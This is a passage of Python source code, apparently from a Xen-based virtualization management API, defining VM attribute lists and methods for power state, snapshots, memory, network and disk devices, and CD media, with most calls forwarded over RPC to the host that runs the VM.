task_get_by_name_label(self, session, name): # return xen_api_success(XendTaskManager.get_task_by_name(name)) # Xen API: Class VM # ---------------------------------------------------------------- VM_attr_ro = ['power_state', 'resident_on', 'consoles', 'snapshots', 'VIFs', 'VBDs', 'VTPMs', 'DPCIs', 'DSCSIs', 'media', 'fibers', 'usb_scsi', 'DSCSI_HBAs', 'tools_version', 'domid', 'is_control_domain', 'metrics', 'crash_dumps', 'cpu_pool', 'cpu_qos', 'network_qos', 'VCPUs_CPU', 'ip_addr', 'MAC', 'is_local_vm', 'vnc_location', 'available_vbd_device', 'VIF_record', 'VBD_record', 'dev2path_list', 'pid2devnum_list', 'vbd2device_list', 'config', 'record_lite', 'inner_ip', 'system_VDI', 'network_record', ] VM_attr_rw = ['name_label', 'name_description', 'user_version', 'is_a_template', 'auto_power_on', 'snapshot_policy', 'memory_dynamic_max', 'memory_dynamic_min', 'memory_static_max', 'memory_static_min', 'VCPUs_max', 'VCPUs_at_startup', 'VCPUs_params', 'actions_after_shutdown', 'actions_after_reboot', 'actions_after_suspend', 'actions_after_crash', 'PV_bootloader', 'PV_kernel', 'PV_ramdisk', 'PV_args', 'PV_bootloader_args', 'HVM_boot_policy', 'HVM_boot_params', 'platform', 'PCI_bus', 'other_config', 'security_label', 'pool_name', 'suspend_VDI', 'suspend_SR', 'VCPUs_affinity', 'tags', 'tag', 'rate', 'all_tag', 'all_rate', 'boot_order', 'IO_rate_limit', # 'ip_map', 'passwd', 'config', 'platform_serial', ] VM_methods = [('clone', 'VM'), ('clone_local', 'VM'), ('clone_MAC', 'VM'), ('clone_local_MAC', 'VM'), ('start', None), ('start_on', None), ('snapshot', None), ('rollback', None), ('destroy_snapshot', 'Bool'), ('destroy_all_snapshots', 'Bool'), ('pause', None), ('unpause', None), ('clean_shutdown', None), ('clean_reboot', None), ('hard_shutdown', None), ('hard_reboot', None), ('suspend', None), ('resume', None), ('send_sysrq', None), ('set_VCPUs_number_live', None), ('add_to_HVM_boot_params', None), ('remove_from_HVM_boot_params', None), ('add_to_VCPUs_params', None), ('add_to_VCPUs_params_live', None), ('remove_from_VCPUs_params', None), ('add_to_platform', None), ('remove_from_platform', None), ('add_to_other_config', None), ('remove_from_other_config', None), ('save', None), ('set_memory_dynamic_max_live', None), ('set_memory_dynamic_min_live', None), ('send_trigger', None), ('pool_migrate', None), ('migrate', None), ('destroy', None), ('cpu_pool_migrate', None), ('destroy_local', None), ('destroy_fiber', None), ('destroy_usb_scsi', None), ('destroy_media', None), ('destroy_VIF', None), ('disable_media', None), ('enable_media', None), ('eject_media', None), ('copy_sxp_to_nfs', None), ('media_change', None), ('add_tags', None), ('check_fibers_valid', 'Map'), ('check_usb_scsi_valid', 'Map'), ('can_start','Bool'), ('init_pid2devnum_list', None), ('clear_IO_rate_limit', None), ('clear_pid2devnum_list', None), ('start_set_IO_limit', None), ('start_init_pid2dev', None), ('create_image', 'Bool'), ('send_request_via_serial', 'Bool'), # ('del_ip_map', None), ] VM_funcs = [('create', 'VM'), ('create_on', 'VM'), ('create_from_sxp', 'VM'), ('create_from_vmstruct', 'VM'), ('restore', None), ('get_by_name_label', 'Set(VM)'), ('get_all_and_consoles', 'Map'), ('get_lost_vm_by_label', 'Map'), ('get_lost_vm_by_date', 'Map'), ('get_record_lite', 'Set'), ('create_data_VBD', 'Bool'), ('delete_data_VBD', 'Bool'), ('create_from_template', None), ('create_on_from_template', None), ('clone_system_VDI', 'VDI'), ('create_with_VDI', None), ] # parameters required for _create() VM_attr_inst = [ 'name_label', 'name_description', 'user_version', 'is_a_template', 'is_local_vm', 'memory_static_max', 'memory_dynamic_max', 'memory_dynamic_min', 'memory_static_min', 'VCPUs_max', 'VCPUs_at_startup', 'VCPUs_params', 'actions_after_shutdown', 'actions_after_reboot', 'actions_after_suspend', 'actions_after_crash', 'PV_bootloader', 'PV_kernel', 'PV_ramdisk', 'PV_args', 'PV_bootloader_args', 'HVM_boot_policy', 'HVM_boot_params', 'platform', 'PCI_bus', 'other_config', 'security_label'] def VM_get(self, name, session, vm_ref): ''' @author: wuyuewen @summary: Get VM attribute value by name. @param name: name of VM attribute field. @param session: session of RPC. @param vm_ref: uuid of VM. @return: value of field. @rtype: dict ''' return xen_api_success( XendDomain.instance().get_vm_by_uuid(vm_ref).info[name]) def VM_set(self, name, session, vm_ref, value): ''' @author: wuyuewen @summary: Set VM attribute value by name. @param name: name of VM attribute field. @param session: session of RPC. @param vm_ref: uuid of VM. @param value: new value of VM attribute field. @return: True | False. @rtype: dict ''' xd = XendDomain.instance() dominfo = xd.get_vm_by_uuid(vm_ref) dominfo.info[name] = value return self._VM_save(dominfo) def _VM_save(self, dominfo): ''' @author: wuyuewen @summary: Call config save function, the struct of VM will save to disk. @param dominfo: VM config structure. @return: True | False. @rtype: dict. ''' log.debug('VM_save') XendDomain.instance().managed_config_save(dominfo) return xen_api_success_void() # attributes (ro) def VM_get_power_state(self, session, vm_ref): ''' @author: wuyuewen @summary: Get VM power state by uuid. @param session: session of RPC. @param vm_ref: uuid. @return: power state. @rtype: dict. ''' if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(vm_ref) if cmp(host_ref, XendNode.instance().uuid) == 0: return self._VM_get_power_state(vm_ref) else: host_ip = BNPoolAPI.get_host_ip(host_ref) return xen_rpc_call(host_ip, "VM_get_power_state", vm_ref) else: return self._VM_get_power_state(vm_ref) def _VM_get_power_state(self, vm_ref): ''' @author: wuyuewen @summary: Internal method. @param vm_ref: uuid. @return: power state. @rtype: dict. ''' # log.debug("in get power state") dom = XendDomain.instance().get_vm_by_uuid(vm_ref) return xen_api_success(dom.get_power_state()) # def VM_get_power_state(self, session, vm_ref): # #host_ref = BNPoolAPI._VM_to_Host[vm_ref] # host_ref = BNPoolAPI.get_host_by_vm(vm_ref) # if cmp(host_ref, XendNode.instance().uuid) == 0: # dom = XendDomain.instance().get_vm_by_uuid(vm_ref) # return xen_api_success(dom.get_power_state()) # else: # try: # remote_ip = BNPoolAPI._host_structs[host_ref]['ip'] # proxy = ServerProxy('http://' + remote_ip + ':9363') # response = proxy.session.login('root') # if cmp(response['Status'], 'Failure') == 0: # return xen_api_error(response['ErrorDescription']) # session_ref = response['Value'] # return proxy.VM.get_power_state(session_ref, vm_ref) # except socket.error: # return xen_api_error('socket error') def VM_get_resident_on(self, session, vm_ref): ''' @author: wuyuewen @summary: Get VM resident Host. @param session: session of RPC. @param vm_ref: uuid. @return: Host uuid. @rtype: dict. ''' #host_ref = BNPoolAPI._VM_to_Host[vm_ref] host_ref = BNPoolAPI.get_host_by_vm(vm_ref) return xen_api_success(host_ref) def VM_get_snapshots(self, session, vm_ref): ''' @author: wuyuewen @summary: Get VM snapshots by uuid. @param session: session of RPC. @param vm_ref: uuid. @return: snapshots. @rtype: dict. ''' vdi_ref = self.VM_get_system_VDI(session, vm_ref).get('Value') log.debug('system vdi_ref: %s' % vdi_ref) return self._VM_get_vdi_snapshots(session, vdi_ref) def _VM_get_vdi_snapshots(self, session, vdi_ref): ''' @author: wuyuewen @summary: Internal method. Get VM snapshots by uuid. @param session: session of RPC. @param vm_ref: uuid. @return: snapshots. @rtype: dict. ''' storage = self._get_BNStorageAPI_instance() vdi_rec = storage.VDI_get_record(session, vdi_ref).get('Value', '') if not vdi_rec: log.debug('VM_snapshot_vdi>>>>>vdi do not exist...') return xen_api_success([]) sr = vdi_rec['SR'] log.debug("sr : %s>>>>>>>>>>" % sr) sr_rec = storage._SR_get_record("", sr).get('Value') if not sr_rec: log.debug('sr record do not exist>>>>>') return xen_api_success([]) sr_type = sr_rec.get('type') log.debug('sr type>>>>>>>>>>>>>>>%s' % sr_type) if cmp(sr_type, 'gpfs') == 0: mount_point = sr_rec['mount_point'] log.debug('mount_point: %s' % mount_point) proxy = ServerProxy("http://127.0.0.1:10010") snapshots = proxy.get_snapshots_gpfs(mount_point, vdi_ref) elif cmp(sr_type, 'mfs') == 0: mount_point = sr_rec['mount_point'] log.debug('mount_point: %s' % mount_point) proxy = ServerProxy("http://127.0.0.1:10010") snapshots = proxy.get_snapshots_mfs(mount_point, vdi_ref) elif cmp(sr_type, 'ocfs2') == 0: mount_point = sr_rec['mount_point'] log.debug('mount_point: %s' % mount_point) proxy = ServerProxy("http://127.0.0.1:10010") snapshots = proxy.get_snapshots_ocfs2(mount_point, vdi_ref) elif cmp(sr_type, 'local_ocfs2') == 0: mount_point = sr_rec['mount_point'] log.debug('mount_point: %s' % mount_point) proxy = ServerProxy("http://127.0.0.1:10010") snapshots = proxy.get_snapshots_ocfs2(mount_point, vdi_ref) else: sr_ip = sr_rec['other_config']['location'].split(":")[0] log.debug("sr ip : %s" % sr_ip) proxy = ServerProxy("http://%s:10010" % sr_ip) snapshots = proxy.get_snapshots(sr, vdi_ref) log.debug("snapshots : %s " % snapshots) return xen_api_success(snapshots) def VM_get_snapshot_policy(self, session, vm_ref): ''' @author: wuyuewen @summary: Get VM snapshot policy by uuid. @param session: session of RPC. @param vm_ref: uuid. @return: snapshot policy. @rtype: dict. ''' vdi_ref = self.VM_get_system_VDI(session, vm_ref).get('Value') log.debug('system vdi_ref: %s' % vdi_ref) return self._VM_get_vdi_snapshot_policy(session, vdi_ref) def _VM_get_vdi_snapshot_policy(self, session, vdi_ref): ''' @author: wuyuewen @summary: Interal method. Get VM snapshot policy by uuid. @param session: session of RPC. @param vdi_ref: VM system VDI's uuid. @return: snapshot policy. @rtype: dict. ''' storage = self._get_BNStorageAPI_instance() vdi_rec = storage.VDI_get_record(session, vdi_ref).get('Value', '') if not vdi_rec: log.debug('VM_snapshot_vdi>>>>>vdi do not exist...') return xen_api_success(False) sr = vdi_rec['SR'] log.debug("sr : %s>>>>>>>>>>" % sr) sr_rec = storage._SR_get_record("", sr).get('Value', None) if sr_rec: location = sr_rec['other_config']['location'] sr_type = sr_rec.get('type') if cmp(sr_type, 'gpfs') == 0 or cmp(sr_type, 'mfs') == 0\ or cmp(sr_type, 'ocfs2') == 0 or cmp(sr_type, 'local_ocfs2') == 0: proxy = ServerProxy("http://127.0.0.1:10010") snapshot_policy = proxy.get_snapshot_policy(sr, vdi_ref) log.debug("snapshot_policy : %s " % snapshot_policy) else: sr_ip = location.split(":")[0] log.debug("sr rec : %s" % sr_rec) log.debug("sr ip : %s" % sr_ip) proxy = ServerProxy("http://%s:10010" % sr_ip) snapshot_policy = proxy.get_snapshot_policy(sr, vdi_ref) log.debug("snapshot_policy : %s " % snapshot_policy) return xen_api_success(snapshot_policy) else: return xen_api_success(("1", "100")) def VM_set_snapshot_policy(self, session, vm_ref, interval, maxnum): ''' @author: wuyuewen @summary: Set VM snapshot policy by uuid. @param session: session of RPC. @param vm_ref: uuid. @param interval: the interval of create a snap, the unit is (day). @param maxnum: the max number of snapshots keep. @return: True | False. @rtype: dict. ''' vdi_ref = self.VM_get_system_VDI(session, vm_ref).get('Value') return self._VM_set_vdi_snapshot_policy(session, vdi_ref, interval, maxnum) def _VM_set_vdi_snapshot_policy(self, session, vdi_ref, interval, maxnum): ''' @author: wuyuewen @summary: Internal method. Set VM snapshot policy by uuid. @param session: session of RPC. @param vdi_ref: VM system VDI's uuid. @param interval: the interval of create a snap, the unit is (day). @param maxnum: the max number of snapshots keep. @return: True | False. @rtype: dict. ''' storage = self._get_BNStorageAPI_instance() vdi_rec = storage.VDI_get_record(session, vdi_ref).get('Value', '') if not vdi_rec: log.debug('VM_snapshot_vdi>>>>>vdi do not exist...') return xen_api_success(("1", "100")) sr = vdi_rec['SR'] log.debug("sr : %s>>>>>>>>>>" % sr) sr_rec = storage._SR_get_record("", sr).get('Value', None) if sr_rec: sr_type = sr_rec.get('type') if cmp(sr_type, 'gpfs') == 0 or cmp(sr_type, 'mfs') == 0\ or cmp(sr_type, 'ocfs2') == 0 or cmp(sr_type, 'local_ocfs2') == 0: proxy = ServerProxy("http://127.0.0.1:10010") snapshot_policy = proxy.set_snapshot_policy(sr, vdi_ref, interval, maxnum) log.debug("snapshot_policy : %s " % snapshot_policy) else: sr_ip = sr_rec['other_config']['location'].split(":")[0] log.debug("sr rec : %s" % sr_rec) log.debug("sr ip : %s" % sr_ip) proxy = ServerProxy("http://%s:10010" % sr_ip) snapshot_policy = proxy.set_snapshot_policy(sr, vdi_ref, interval, maxnum) log.debug("snapshot_policy : %s " % snapshot_policy) return xen_api_success(snapshot_policy) else: return xen_api_success(("1", "100")) def VM_get_memory_static_max(self, session, vm_ref): ''' @author: wuyuewen @summary: Get VM memory static max. @param session: session of RPC. @param vm_ref: uuid. @return: memory static max. @rtype: dict. ''' if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(vm_ref) if cmp(host_ref, XendNode.instance().uuid) == 0: return self._VM_get_memory_static_max(session, vm_ref) else: host_ip = BNPoolAPI.get_host_ip(host_ref) return xen_rpc_call(host_ip, 'VM_get_memory_static_max', vm_ref) else: return self._VM_get_memory_static_max(session, vm_ref) def _VM_get_memory_static_max(self, session, vm_ref): ''' @author: wuyuewen @summary: Internal method. Get VM memory static max. @param session: session of RPC. @param vm_ref: uuid. @return: memory static max. @rtype: dict. ''' dom = XendDomain.instance().get_vm_by_uuid(vm_ref) return xen_api_success(dom.get_memory_static_max()) def VM_get_memory_static_min(self, session, vm_ref): ''' @author: wuyuewen @summary: Get VM memory static min. @param session: session of RPC. @param vm_ref: uuid. @return: memory static min. @rtype: dict. ''' if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(vm_ref) if cmp(host_ref, XendNode.instance().uuid) == 0: return self._VM_get_memory_static_min(session, vm_ref) else: host_ip = BNPoolAPI.get_host_ip(host_ref) return xen_rpc_call(host_ip, 'VM_get_memory_static_min', vm_ref) else: return self._VM_get_memory_static_min(session, vm_ref) def _VM_get_memory_static_min(self, session, vm_ref): ''' @author: wuyuewen @summary: Internal method. Get VM memory static max. @param session: session of RPC. @param vm_ref: uuid. @return: memory static min. @rtype: dict. ''' dom = XendDomain.instance().get_vm_by_uuid(vm_ref) return xen_api_success(dom.get_memory_static_min()) def VM_get_VIFs(self, session, vm_ref): ''' @author: wuyuewen @summary: Get VM VIFs. @param session: session of RPC. @param vm_ref: uuid. @return: VIFs. @rtype: dict. ''' if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(vm_ref) if cmp(host_ref, XendNode.instance().uuid) == 0: return self._VM_get_VIFs(session, vm_ref) else: host_ip = BNPoolAPI.get_host_ip(host_ref) return xen_rpc_call(host_ip, "VM_get_VIFs", vm_ref) else: return self._VM_get_VIFs(session, vm_ref) def _VM_get_VIFs(self, session, vm_ref): ''' @author: wuyuewen @summary: Internal method. Get VM VIFs. @param session: session of RPC. @param vm_ref: uuid. @return: VIFs. @rtype: dict. ''' dom = XendDomain.instance().get_vm_by_uuid(vm_ref) return xen_api_success(dom.get_vifs()) def VM_get_VBDs(self, session, vm_ref): ''' @author: wuyuewen @summary: Get VM VBDs. @param session: session of RPC. @param vm_ref: uuid. @return: VBDs. @rtype: dict. ''' if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(vm_ref) if cmp(host_ref, XendNode.instance().uuid) == 0: return self._VM_get_VBDs(session, vm_ref) else: host_ip = BNPoolAPI.get_host_ip(host_ref) return xen_rpc_call(host_ip, "VM_get_VBDs", vm_ref) else: return self._VM_get_VBDs(session, vm_ref) def _VM_get_VBDs(self, session, vm_ref): ''' @author: wuyuewen @summary: Internal method. Get VM VBDs. @param session: session of RPC. @param vm_ref: uuid. @return: VBDs. @rtype: dict. ''' dom = XendDomain.instance().get_vm_by_uuid(vm_ref) return xen_api_success(dom.get_vbds()) def VM_get_usb_scsi(self, session, vm_ref): ''' @author: wuyuewen @summary: Get VM usb scsi devices(VBD), the backend is /dev/XXX. @param session: session of RPC. @param vm_ref: uuid. @return: VBDs. @rtype: dict. ''' if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(vm_ref) if cmp(host_ref, XendNode.instance().uuid) == 0: return self._VM_get_usb_scsi(session, vm_ref) else: host_ip = BNPoolAPI.get_host_ip(host_ref) return xen_rpc_call(host_ip, "VM_get_usb_scsi", vm_ref) else: return self._VM_get_usb_scsi(session, vm_ref) def _VM_get_usb_scsi(self, session, vm_ref): ''' @author: wuyuewen @summary: Internal method. Get VM usb scsi devices(VBD), the backend is /dev/XXX. @param session: session of RPC. @param vm_ref: uuid. @return: VBDs. @rtype: dict. ''' dom = XendDomain.instance().get_vm_by_uuid(vm_ref) vbds = dom.get_vbds() result = [] for vbd in vbds: vbd_type = self.VBD_get_type(session, vbd).get('Value', "") if cmp(vbd_type, XEN_API_VBD_TYPE[3]) == 0: #log.debug('fibers: %s' % vbd) result.append(vbd) return xen_api_success(result) def VM_get_fibers(self, session, vm_ref): ''' @author: wuyuewen @summary: Get VM fiber devices(VBD), the backend is /dev/XXX. @param session: session of RPC. @param vm_ref: uuid. @return: VBDs. @rtype: dict. ''' if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(vm_ref) if cmp(host_ref, XendNode.instance().uuid) == 0: return self._VM_get_fibers(session, vm_ref) else: host_ip = BNPoolAPI.get_host_ip(host_ref) return xen_rpc_call(host_ip, "VM_get_fibers", vm_ref) else: return self._VM_get_fibers(session, vm_ref) def _VM_get_fibers(self, session, vm_ref): ''' @author: wuyuewen @summary: Internal method. Get VM fiber devices(VBD), the backend is /dev/XXX. @param session: session of RPC. @param vm_ref: uuid. @return: VBDs. @rtype: dict. ''' dom = XendDomain.instance().get_vm_by_uuid(vm_ref) vbds = dom.get_vbds() result = [] for vbd in vbds: vbd_type = self.VBD_get_type(session, vbd).get('Value', "") if cmp(vbd_type, XEN_API_VBD_TYPE[2]) == 0: #log.debug('fibers: %s' % vbd) result.append(vbd) return xen_api_success(result) def VM_destroy_usb_scsi(self, session, vm_ref, vbd_ref): ''' @author: wuyuewen @summary: Destroy VM usb scsi device(VBD) by vbd uuid. @param session: session of RPC. @param vm_ref: uuid. @param vbd_ref: VBD's uuid. @return: True | False @rtype: dict. @raise VDIError: Cannot destroy VDI with VBDs attached ''' if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(vm_ref) if cmp(host_ref, XendNode.instance().uuid) == 0: return self._VM_destroy_usb_scsi(session, vm_ref, vbd_ref) else: host_ip = BNPoolAPI.get_host_ip(host_ref) return xen_rpc_call(host_ip, "VM_destroy_usb_scsi", vm_ref, vbd_ref) else: return self._VM_destroy_usb_scsi(session, vm_ref, vbd_ref) def _VM_destroy_usb_scsi(self, session, vm_ref, vbd_ref): ''' @author: wuyuewen @summary: Internal method. Destroy VM usb scsi device(VBD) by vbd uuid. @param session: session of RPC. @param vm_ref: uuid. @param vbd_ref: VBD's uuid. @return: True | False @rtype: dict. @raise VDIError: Cannot destroy VDI with VBDs attached ''' storage = self._get_BNStorageAPI_instance() vdi_ref = self.VBD_get_VDI(session, vbd_ref).get('Value') response = self.VBD_destroy(session, vbd_ref) if vdi_ref: storage.VDI_destroy(session, vdi_ref) return response def VM_destroy_fiber(self, session, vm_ref, vbd_ref): ''' @author: wuyuewen @summary: Destroy VM fiber device(VBD) by vbd uuid. @param session: session of RPC. @param vm_ref: uuid. @param vbd_ref: VBD's uuid. @return: True | False @rtype: dict. @raise VDIError: Cannot destroy VDI with VBDs attached ''' if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(vm_ref) if cmp(host_ref, XendNode.instance().uuid) == 0: return self._VM_destroy_fiber(session, vbd_ref) else: host_ip = BNPoolAPI.get_host_ip(host_ref) return xen_rpc_call(host_ip, "VM_destroy_fiber", vm_ref, vbd_ref) else: return self._VM_destroy_fiber(session, vbd_ref) def _VM_destroy_fiber(self, session, vbd_ref): ''' @author: wuyuewen @summary: Internal method. Destroy VM fiber device(VBD) by vbd uuid. @param session: session of RPC. @param vm_ref: uuid. @param vbd_ref: VBD's uuid. @return: True | False @rtype: dict. @raise VDIError: Cannot destroy VDI with VBDs attached ''' storage = self._get_BNStorageAPI_instance() vdi_ref = self.VBD_get_VDI(session, vbd_ref).get('Value') response = self.VBD_destroy(session, vbd_ref) if vdi_ref: storage.VDI_destroy(session, vdi_ref) return response def VM_enable_media(self, session, vm_ref, vbd_ref): ''' @author: wuyuewen @summary: Enable VM's media device(cdrom device). @precondition: VM not running @param session: session of RPC. @param vm_ref: uuid. @param vbd_ref: VBD's uuid. @return: True | False @rtype: dict. ''' if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(vm_ref) if cmp(host_ref, XendNode.instance().uuid) == 0: return self._VM_enable_media(session, vbd_ref) else: host_ip = BNPoolAPI.get_host_ip(host_ref) return xen_rpc_call(host_ip, "VM_enable_media", vbd_ref) else: return self._VM_enable_media(session, vbd_ref) def _VM_enable_media(self, session, vbd_ref): ''' @author: wuyuewen @summary: Internal method. Enable VM's media device(cdrom device). @precondition: VM not running @param session: session of RPC. @param vbd_ref: VBD's uuid. @return: True | False @rtype: dict. ''' response = self.VBD_set_bootable(session, vbd_ref, 1) return response def VM_disable_media(self, session, vm_ref, vbd_ref): ''' @author: wuyuewen @summary: Disable VM's media device(cdrom device). @precondition: VM not running @param session: session of RPC. @param vm_ref: uuid. @param vbd_ref: VBD's uuid. @return: True | False @rtype: dict. ''' if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(vm_ref) if cmp(host_ref, XendNode.instance().uuid) == 0: return self._VM_disable_media(session, vbd_ref) else: host_ip = BNPoolAPI.get_host_ip(host_ref) return xen_rpc_call(host_ip, "VM_disable_media", vbd_ref) else: return self._VM_disable_media(session, vbd_ref) def _VM_disable_media(self, session, vbd_ref): ''' @author: wuyuewen @summary: Internal method. Disable VM's media device(cdrom device). @precondition: VM not running @param session: session of RPC. @param vbd_ref: VBD's uuid. @return: True | False @rtype: dict. ''' response = self.VBD_set_bootable(session, vbd_ref, 0) return response def VM_eject_media(self, session, vm_ref, vbd_ref): ''' @author: wuyuewen @summary: Eject VM's media device(cdrom device). @param session: session of RPC. @param vm_ref: uuid @param vbd_ref: VBD's uuid. @return: True | False @rtype: dict. @raise xen_api_error: HANDLE_INVALID ''' if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(vm_ref) if cmp(host_ref, XendNode.instance().uuid) == 0: return self._VM_eject_media(session, vm_ref, vbd_ref) else: host_ip = BNPoolAPI.get_host_ip(host_ref) return xen_rpc_call(host_ip, "VM_eject_media", vm_ref, vbd_ref) else: return self._VM_eject_media(session, vm_ref, vbd_ref) def _VM_eject_media(self, session, vm_ref, vbd_ref): ''' @author: wuyuewen @summary: Internal method. Eject VM's media device(cdrom device). @param session: session of RPC. @param vm_ref: uuid @param vbd_ref: VBD's uuid. @return: True | False @rtype: dict. @raise xen_api_error: HANDLE_INVALID ''' node = XendNode.instance() if not node.is_fake_media_exists(): self._fake_media_auto_create(session) # if not os.path.exists(FAKE_MEDIA_PATH): # os.system("touch %s" % FAKE_MEDIA_PATH) response = self._VM_media_change(session, vm_ref, FAKE_MEDIA_NAME) return response def VM_destroy_media(self, session, vm_ref, vbd_ref): ''' @author: wuyuewen @summary: Destroy VM's media device(cdrom device). @param session: session of RPC. @param vm_ref: uuid @param vbd_ref: VBD's uuid. @return: True | False @rtype: dict. @raise xen_api_error: HANDLE_INVALID ''' if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(vm_ref) if cmp(host_ref, XendNode.instance().uuid) == 0: return self._VM_destroy_media(session, vbd_ref) else: host_ip = BNPoolAPI.get_host_ip(host_ref) return xen_rpc_call(host_ip, "VM_destroy_media", vm_ref, vbd_ref) else: return self._VM_destroy_media(session, vbd_ref) def _VM_destroy_media(self, session, vbd_ref): ''' @author: wuyuewen @summary: Destroy VM's media device(cdrom device). @param session: session of RPC. @param vbd_ref: VBD's uuid. @return: True | False @rtype: dict. @raise xen_api_error: HANDLE_INVALID ''' response = self.VBD_destroy(session, vbd_ref) return response def VM_destroy_VIF(self, session, vm_ref, vif_ref): ''' @author: wuyuewen @summary: Destroy VM's VIF device(network device). @param session: session of RPC. @param vm_ref: uuid @param vif_ref: VIF's uuid. @return: True | False @rtype: dict. @raise xen_api_error: HANDLE_INVALID ''' if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(vm_ref) if cmp(host_ref, XendNode.instance().uuid) == 0: return self._VM_destroy_VIF(session, vm_ref, vif_ref) else: host_ip = BNPoolAPI.get_host_ip(host_ref) return xen_rpc_call(host_ip, "VM_destroy_VIF", vm_ref, vif_ref) else: return self._VM_destroy_VIF(session, vm_ref, vif_ref) def _VM_destroy_VIF(self, session, vm_ref, vif_ref): ''' @author: wuyuewen @summary: Internal method. Destroy VM's VIF device(network device). @param session: session of RPC. @param vm_ref: uuid @param vif_ref: VIF's uuid. @return: True | False @rtype: dict. @raise xen_api_error: HANDLE_INVALID ''' # self._VM_del_ip_map(session, vm_ref, vif_ref) response = self.VIF_destroy(session, vif_ref) return response def VM_get_available_vbd_device(self, session, vm_ref, device_type = 'xvd'): ''' @author: wuyuewen @summary: Use at pre-create of VBD device, return the device name(xvdX/hdX) that can use. @precondition: The available interval is xvda-xvdj/hda-hdj, limit total 10 devices. @param session: session of RPC. @param vm_ref: uuid @param device_type: xvd/hd. @return: available device name. @rtype: dict. @raise xen_api_error: DEVICE_OUT_OF_RANGE, NO_VBD_ERROR ''' if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(vm_ref) if cmp(host_ref, XendNode.instance().uuid) == 0: return self._VM_get_available_vbd_device(session, vm_ref, device_type) else: host_ip = BNPoolAPI.get_host_ip(host_ref) return xen_rpc_call(host_ip, "VM_get_available_vbd_device", vm_ref, device_type) else: return self._VM_get_available_vbd_device(session, vm_ref, device_type) def _VM_get_available_vbd_device(self, session, vm_ref, device_type): ''' @author: wuyuewen @summary: Internal method. Use at pre-create of VBD device, return the device name(xvdX/hdX) that can use. @precondition: The available interval is xvda-xvdj/hda-hdj, limit total 10 devices. @param session: session of RPC. @param vm_ref: uuid @param device_type: xvd/hd. @return: available device name. @rtype: dict. @raise xen_api_error: DEVICE_OUT_OF_RANGE, NO_VBD_ERROR ''' vbds = self._VM_get_VBDs(session, vm_ref).get('Value') if vbds: if cmp(len(vbds), DISK_LIMIT+1) >= 0: return xen_api_error(['DEVICE_OUT_OF_RANGE', 'VBD']) vbds_first_device = self.VBD_get_device(session, vbds[0]).get('Value') if vbds_first_device.startswith('hd'): device_list = copy.deepcopy(VBD_DEFAULT_DEVICE) else: device_list = copy.deepcopy(VBD_XEN_DEFAULT_DEVICE) for vbd in vbds: device = self.VBD_get_device(session, vbd).get('Value') if device and device in device_list: device_list.remove(device) else: continue if device_list: return xen_api_success(device_list[0]) else: return xen_api_error(['DEVICE_OUT_OF_RANGE', 'VBD']) else: return xen_api_error(['NO_VBD_ERROR', 'VM', vm_ref]) def VM_get_media(self, session, vm_ref): ''' @author: wuyuewen @summary: Get VM's media device(cdrom device). @param session: session of RPC. @param vm_ref: uuid @return: VBD @rtype: dict. ''' if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(vm_ref) if cmp(host_ref, XendNode.instance().uuid) == 0: return self._VM_get_media(session, vm_ref) else: host_ip = BNPoolAPI.get_host_ip(host_ref) return xen_rpc_call(host_ip, "VM_get_media", vm_ref) else: return self._VM_get_media(session, vm_ref) def _VM_get_media(self, session, vm_ref): ''' @author: wuyuewen @summary: Get VM's media device(cdrom device). @param session: session of RPC. @param vm_ref: uuid @return: VBD @rtype: dict. ''' storage = self._get_BNStorageAPI_instance() dom = XendDomain.instance().get_vm_by_uuid(vm_ref) vbds = dom.get_vbds() result = None for vbd in vbds: vbd_type = self.VBD_get_type(session, vbd).get('Value', "<none/>") if cmp(vbd_type, XEN_API_VBD_TYPE[0]) == 0: result = vbd break if result: return xen_api_success(result) else: ''' if VM has no media device, create a fake one. ''' vbd_struct = CD_VBD_DEFAULT_STRUCT vbd_struct["VM"] = vm_ref node = XendNode.instance() if not node.is_fake_media_exists(): vdi = storage._fake_media_auto_create(session).get('Value') else: vdi = storage._VDI_get_by_name_label(session, FAKE_MEDIA_NAME).get("Value") vbd_struct["VDI"] = vdi return self.VBD_create(session, vbd_struct) def _VM_get_disks(self, session, vm_ref): ''' @deprecated: not used ''' dom = XendDomain.instance().get_vm_by_uuid(vm_ref) vbds = dom.get_vbds() result = [] for vbd in vbds: vbd_type = self.VBD_get_type(session, vbd).get('Value', "") if cmp(vbd_type, XEN_API_VBD_TYPE[1]) == 0: result.append(vbd) return xen_api_success(result) def VM_media_change(self, session, vm_ref, vdi_name): ''' @author: wuyuewen @summary: Change VM's media device(cdrom device). @param session: session of RPC. @param vm_ref: uuid @param vdi_name: VDI's name label. @return: True | False @rtype: dict. @raise xen_api_error: HANDLE_INVALID, INTERNAL_ERROR ''' if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(vm_ref) if cmp(host_ref, XendNode.instance().uuid) == 0: return self._VM_media_change(session, vm_ref, vdi_name) else: host_ip = BNPoolAPI.get_host_ip(host_ref) return xen_rpc_call(host_ip, "VM_media_change", vm_ref, vdi_name) else: return self._VM_media_change(session, vm_ref, vdi_name) def _VM_media_change(self, session, vm_ref, vdi_name): ''' @author: wuyuewen @summary: Internal method. Change VM's media device(cdrom device). @param session: session of RPC. @param vm_ref: uuid @param vdi_name: VDI's name label. @return: True | False @rtype: dict. @raise xen_api_error: HANDLE_INVALID, INTERNAL_ERROR ''' vbd_ref = self._VM_get_media(session, vm_ref).get('Value') xendom = XendDomain.instance() xennode = XendNode.instance() vm = xendom.get_vm_with_dev_uuid('vbd', vbd_ref) if not vm: log.debug("No media, create one.") 